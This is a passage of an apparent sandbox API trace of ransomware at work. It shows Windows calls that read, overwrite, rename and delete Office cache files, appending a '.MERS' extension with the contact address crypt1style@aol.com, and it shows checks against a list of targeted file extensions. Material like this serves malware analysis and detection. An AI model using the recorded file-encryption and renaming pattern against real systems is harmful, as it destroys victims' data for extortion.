lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0043.246] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.246] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.246] ReadFile (in: hFile=0x180, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.368] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.368] ReadFile (in: hFile=0x180, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.415] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.416] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.416] ReadFile (in: hFile=0x180, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.565] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.565] WriteFile (in: hFile=0x180, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0043.619] SetEndOfFile (hFile=0x180) returned 1 [0043.619] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0043.619] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.619] WriteFile (in: hFile=0x180, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.621] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.621] WriteFile (in: hFile=0x180, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.625] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.625] WriteFile (in: hFile=0x180, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.627] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0043.627] CloseHandle (hObject=0x180) returned 1 [0043.628] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.628] lstrlenW (lpString=".doc") returned 4 [0043.628] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.628] lstrlenW (lpString=".docx") returned 5 [0043.628] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.628] lstrlenW (lpString=".pdf") returned 4 [0043.628] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.628] lstrlenW (lpString=".xls") returned 4 [0043.628] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.628] lstrlenW (lpString=".xlsx") returned 5 [0043.628] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.628] lstrlenW (lpString=".ppt") returned 4 [0043.628] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.628] lstrlenW (lpString=".zip") returned 4 [0043.628] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.628] lstrlenW (lpString=".rar") returned 4 [0043.628] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.628] lstrlenW (lpString=".bz2") returned 4 [0043.628] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.628] lstrlenW (lpString=".7z") returned 3 [0043.628] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.629] lstrlenW (lpString=".dbf") returned 4 [0043.629] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.629] lstrlenW (lpString=".1cd") returned 4 [0043.629] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.629] lstrlenW (lpString=".jpg") returned 4 [0043.629] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.629] lstrlenW (lpString=".doc") returned 4 [0043.629] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.629] lstrlenW (lpString=".docx") returned 5 [0043.629] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.629] lstrlenW (lpString=".pdf") returned 4 [0043.629] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.629] lstrlenW (lpString=".xls") returned 4 [0043.629] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.629] lstrlenW (lpString=".xlsx") returned 5 [0043.629] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.629] lstrlenW (lpString=".ppt") returned 4 [0043.629] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.629] lstrlenW (lpString=".zip") returned 4 [0043.629] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.629] lstrlenW (lpString=".rar") returned 4 [0043.629] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.629] lstrlenW (lpString=".bz2") returned 4 [0043.629] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.629] lstrlenW (lpString=".7z") returned 3 [0043.629] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.630] lstrlenW (lpString=".dbf") returned 4 [0043.630] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.630] lstrlenW (lpString=".1cd") returned 4 [0043.630] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0043.630] lstrlenW (lpString=".jpg") returned 4 [0043.630] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.630] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0043.630] lstrlenW (lpString="GrooveLR.cab") returned 12 [0043.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0043.630] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4095519) returned 1 [0043.630] CloseHandle (hObject=0x180) returned 1 [0043.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0043.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.631] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0043.633] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.652] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.652] ReadFile (in: hFile=0x180, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.087] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.087] ReadFile (in: hFile=0x180, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.240] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.240] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.240] ReadFile (in: hFile=0x180, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.364] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.364] WriteFile (in: hFile=0x180, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.426] SetEndOfFile (hFile=0x180) returned 1 [0044.426] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0044.437] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.437] WriteFile (in: hFile=0x180, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.439] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.446] WriteFile (in: hFile=0x180, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.448] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.448] WriteFile (in: hFile=0x180, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.450] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0044.450] CloseHandle (hObject=0x180) returned 1 [0044.450] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.451] lstrlenW (lpString=".doc") returned 4 [0044.451] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString=".docx") returned 5 [0044.451] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.451] lstrlenW (lpString=".pdf") returned 4 [0044.451] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString=".xls") returned 4 [0044.451] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString=".xlsx") returned 5 [0044.451] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.451] lstrlenW (lpString=".ppt") returned 4 [0044.451] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.451] lstrlenW (lpString=".zip") returned 4 [0044.451] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString=".rar") returned 4 [0044.451] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString=".bz2") returned 4 [0044.451] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.451] lstrlenW (lpString=".7z") returned 3 [0044.451] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.451] lstrlenW (lpString=".dbf") returned 4 [0044.451] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.451] lstrlenW (lpString=".1cd") returned 4 [0044.451] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.451] lstrlenW (lpString=".jpg") returned 4 [0044.452] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.452] lstrlenW (lpString=".doc") returned 4 [0044.452] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString=".docx") returned 5 [0044.452] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.452] lstrlenW (lpString=".pdf") returned 4 [0044.452] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString=".xls") returned 4 [0044.452] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString=".xlsx") returned 5 [0044.452] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.452] lstrlenW (lpString=".ppt") returned 4 [0044.452] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.452] lstrlenW (lpString=".zip") returned 4 [0044.452] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString=".rar") returned 4 [0044.452] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString=".bz2") returned 4 [0044.452] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.452] lstrlenW (lpString=".7z") returned 3 [0044.452] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.452] lstrlenW (lpString=".dbf") returned 4 [0044.452] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.452] lstrlenW (lpString=".1cd") returned 4 [0044.452] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.452] lstrlenW (lpString=".jpg") returned 4 [0044.452] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.453] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0044.453] lstrlenW (lpString="dwdcw20.dll") returned 11 [0044.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.453] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=526176) returned 1 [0044.453] CloseHandle (hObject=0x180) returned 1 [0044.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0044.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.453] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.453] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.454] GetLastError () returned 0x0 [0044.454] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x80760, lpOverlapped=0x0) returned 1 [0044.501] WriteFile (in: hFile=0x218, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0044.509] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.510] WriteFile (in: hFile=0x218, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.510] SetEndOfFile (hFile=0x218) returned 1 [0044.510] CloseHandle (hObject=0x218) returned 1 [0044.510] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.510] SetEndOfFile (hFile=0x180) returned 1 [0044.514] CloseHandle (hObject=0x180) returned 1 [0044.514] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.515] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0044.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.515] lstrlenW (lpString=".doc") returned 4 [0044.515] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.515] lstrlenW (lpString=".docx") returned 5 [0044.515] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.515] lstrlenW (lpString=".pdf") returned 4 [0044.515] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.515] lstrlenW (lpString=".xls") returned 4 [0044.515] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.515] lstrlenW (lpString=".xlsx") returned 5 [0044.515] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.515] lstrlenW (lpString=".ppt") returned 4 [0044.515] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.515] lstrlenW (lpString=".zip") returned 4 [0044.515] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.515] lstrlenW (lpString=".rar") returned 4 [0044.515] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.515] lstrlenW (lpString=".bz2") returned 4 [0044.515] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.515] lstrlenW (lpString=".7z") returned 3 [0044.515] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.515] lstrlenW (lpString=".dbf") returned 4 [0044.515] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.515] lstrlenW (lpString=".1cd") returned 4 [0044.516] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.516] lstrlenW (lpString=".jpg") returned 4 [0044.516] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.516] lstrlenW (lpString=".doc") returned 4 [0044.516] lstrcmpiW (lpString1=".doc", 